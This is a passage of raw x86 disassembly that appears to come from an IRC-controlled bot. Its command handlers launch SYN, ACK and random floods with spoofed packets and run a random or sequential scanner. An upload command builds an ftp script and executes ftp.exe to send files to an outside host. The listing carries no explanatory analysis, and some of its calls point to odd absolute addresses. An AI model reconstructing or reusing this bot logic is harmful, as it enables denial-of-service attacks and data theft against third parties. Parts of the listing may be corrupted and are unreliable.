		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
